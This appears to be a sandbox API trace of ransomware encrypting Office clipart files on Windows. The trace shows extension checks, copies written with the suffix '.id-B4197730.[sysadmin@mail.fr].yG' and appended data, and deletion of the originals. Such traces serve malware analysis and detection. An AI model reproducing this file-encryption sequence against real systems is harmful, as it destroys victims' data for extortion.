	[0161.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0161.051] lstrlenW (lpString=".doc") returned 4
	[0161.051] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0161.051] lstrlenW (lpString=".docx") returned 5
	[0161.051] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1
	[0161.051] lstrlenW (lpString=".pdf") returned 4
	[0161.051] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0161.051] lstrlenW (lpString=".xls") returned 4
	[0161.051] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0161.051] lstrlenW (lpString=".xlsx") returned 5
	[0161.051] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1
	[0161.051] lstrlenW (lpString=".ppt") returned 4
	[0161.051] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0161.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0161.051] lstrlenW (lpString=".zip") returned 4
	[0161.051] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0161.052] lstrlenW (lpString=".rar") returned 4
	[0161.052] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0161.052] lstrlenW (lpString=".bz2") returned 4
	[0161.052] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0161.052] lstrlenW (lpString=".7z") returned 3
	[0161.052] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0161.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0161.052] lstrlenW (lpString=".dbf") returned 4
	[0161.052] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0161.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0161.052] lstrlenW (lpString=".1cd") returned 4
	[0161.052] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0161.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68
	[0161.052] lstrlenW (lpString=".jpg") returned 4
	[0161.052] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0161.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0161.058] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=19923) returned 1
	[0161.058] CloseHandle (hObject=0x540) returned 1
	[0161.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif")) returned 0x220
	[0161.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0161.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0161.059] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.059] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0161.060] GetLastError () returned 0x0
	[0161.060] ReadFile (in: hFile=0x540, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x4dd3, lpOverlapped=0x0) returned 1
	[0161.073] WriteFile (in: hFile=0x4a4, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x4de0, lpOverlapped=0x0) returned 1
	[0161.074] ReadFile (in: hFile=0x540, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.074] WriteFile (in: hFile=0x4a4, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0161.074] SetEndOfFile (hFile=0x4a4) returned 1
	[0161.074] CloseHandle (hObject=0x4a4) returned 1
	[0161.074] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.075] SetEndOfFile (hFile=0x540) returned 1
	[0161.081] CloseHandle (hObject=0x540) returned 1
	[0161.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0161.082] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099195.gif")) returned 1
	[0161.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0161.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0161.083] lstrlenW (lpString=".doc") returned 4
	[0161.083] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0161.083] lstrlenW (lpString=".docx") returned 5
	[0161.083] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1
	[0161.083] lstrlenW (lpString=".pdf") returned 4
	[0161.083] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0161.083] lstrlenW (lpString=".xls") returned 4
	[0161.083] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0161.083] lstrlenW (lpString=".xlsx") returned 5
	[0161.083] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1
	[0161.083] lstrlenW (lpString=".ppt") returned 4
	[0161.083] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0161.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0161.083] lstrlenW (lpString=".zip") returned 4
	[0161.083] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0161.083] lstrlenW (lpString=".rar") returned 4
	[0161.083] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0161.083] lstrlenW (lpString=".bz2") returned 4
	[0161.083] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0161.083] lstrlenW (lpString=".7z") returned 3
	[0161.083] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0161.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0161.084] lstrlenW (lpString=".dbf") returned 4
	[0161.084] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0161.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0161.084] lstrlenW (lpString=".1cd") returned 4
	[0161.084] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0161.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099195.GIF") returned 68
	[0161.084] lstrlenW (lpString=".jpg") returned 4
	[0161.084] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0161.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0161.085] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=14337) returned 1
	[0161.085] CloseHandle (hObject=0x540) returned 1
	[0161.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif")) returned 0x220
	[0161.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0162.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0162.233] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.233] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0162.235] GetLastError () returned 0x0
	[0162.235] ReadFile (in: hFile=0x520, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x3801, lpOverlapped=0x0) returned 1
	[0162.258] WriteFile (in: hFile=0x540, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x3810, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x3810, lpOverlapped=0x0) returned 1
	[0162.259] ReadFile (in: hFile=0x520, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.259] WriteFile (in: hFile=0x540, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.260] SetEndOfFile (hFile=0x540) returned 1
	[0162.260] CloseHandle (hObject=0x540) returned 1
	[0162.260] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.260] SetEndOfFile (hFile=0x520) returned 1
	[0162.269] CloseHandle (hObject=0x520) returned 1
	[0162.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0162.270] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif")) returned 1
	[0162.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0162.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0162.273] lstrlenW (lpString=".doc") returned 4
	[0162.273] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0162.273] lstrlenW (lpString=".docx") returned 5
	[0162.273] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1
	[0162.273] lstrlenW (lpString=".pdf") returned 4
	[0162.273] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0162.273] lstrlenW (lpString=".xls") returned 4
	[0162.273] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0162.273] lstrlenW (lpString=".xlsx") returned 5
	[0162.273] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1
	[0162.273] lstrlenW (lpString=".ppt") returned 4
	[0162.274] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0162.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0162.274] lstrlenW (lpString=".zip") returned 4
	[0162.274] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0162.274] lstrlenW (lpString=".rar") returned 4
	[0162.274] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0162.274] lstrlenW (lpString=".bz2") returned 4
	[0162.274] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0162.274] lstrlenW (lpString=".7z") returned 3
	[0162.274] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0162.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0162.274] lstrlenW (lpString=".dbf") returned 4
	[0162.274] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0162.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0162.274] lstrlenW (lpString=".1cd") returned 4
	[0162.274] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0162.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68
	[0162.274] lstrlenW (lpString=".jpg") returned 4
	[0162.274] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0162.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0162.276] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=31968) returned 1
	[0162.276] CloseHandle (hObject=0x520) returned 1
	[0162.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp")) returned 0x220
	[0162.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0162.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0162.277] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.277] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0162.278] GetLastError () returned 0x0
	[0162.278] ReadFile (in: hFile=0x520, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x7ce0, lpOverlapped=0x0) returned 1
	[0162.340] WriteFile (in: hFile=0x540, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x7cf0, lpOverlapped=0x0) returned 1
	[0162.342] ReadFile (in: hFile=0x520, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.342] WriteFile (in: hFile=0x540, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.342] SetEndOfFile (hFile=0x540) returned 1
	[0162.343] CloseHandle (hObject=0x540) returned 1
	[0162.343] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.343] SetEndOfFile (hFile=0x520) returned 1
	[0162.347] CloseHandle (hObject=0x520) returned 1
	[0162.347] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0162.690] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp")) returned 1
	[0162.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0162.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0162.691] lstrlenW (lpString=".doc") returned 4
	[0162.691] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0162.691] lstrlenW (lpString=".docx") returned 5
	[0162.691] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1
	[0162.691] lstrlenW (lpString=".pdf") returned 4
	[0162.691] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0162.691] lstrlenW (lpString=".xls") returned 4
	[0162.691] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0162.691] lstrlenW (lpString=".xlsx") returned 5
	[0162.691] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1
	[0162.691] lstrlenW (lpString=".ppt") returned 4
	[0162.691] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0162.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0162.692] lstrlenW (lpString=".zip") returned 4
	[0162.692] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0162.692] lstrlenW (lpString=".rar") returned 4
	[0162.692] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0162.692] lstrlenW (lpString=".bz2") returned 4
	[0162.692] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0162.692] lstrlenW (lpString=".7z") returned 3
	[0162.692] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0162.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0162.692] lstrlenW (lpString=".dbf") returned 4
	[0162.692] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0162.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0162.692] lstrlenW (lpString=".1cd") returned 4
	[0162.692] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0162.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68
	[0162.692] lstrlenW (lpString=".jpg") returned 4
	[0162.692] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0162.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0163.360] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=31968) returned 1
	[0163.360] CloseHandle (hObject=0x544) returned 1
	[0163.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp")) returned 0x220
	[0163.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0164.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0164.410] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.410] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0164.411] GetLastError () returned 0x0
	[0164.411] ReadFile (in: hFile=0x51c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x7ce0, lpOverlapped=0x0) returned 1
	[0164.432] WriteFile (in: hFile=0x364, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x7cf0, lpOverlapped=0x0) returned 1
	[0164.434] ReadFile (in: hFile=0x51c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.434] WriteFile (in: hFile=0x364, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.435] SetEndOfFile (hFile=0x364) returned 1
	[0164.435] CloseHandle (hObject=0x364) returned 1
	[0164.435] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.435] SetEndOfFile (hFile=0x51c) returned 1
	[0164.440] CloseHandle (hObject=0x51c) returned 1
	[0164.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0164.441] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp")) returned 1
	[0164.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0164.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0164.442] lstrlenW (lpString=".doc") returned 4
	[0164.442] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0164.442] lstrlenW (lpString=".docx") returned 5
	[0164.442] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1
	[0164.443] lstrlenW (lpString=".pdf") returned 4
	[0164.443] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0164.443] lstrlenW (lpString=".xls") returned 4
	[0164.443] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0164.443] lstrlenW (lpString=".xlsx") returned 5
	[0164.443] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1
	[0164.443] lstrlenW (lpString=".ppt") returned 4
	[0164.443] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
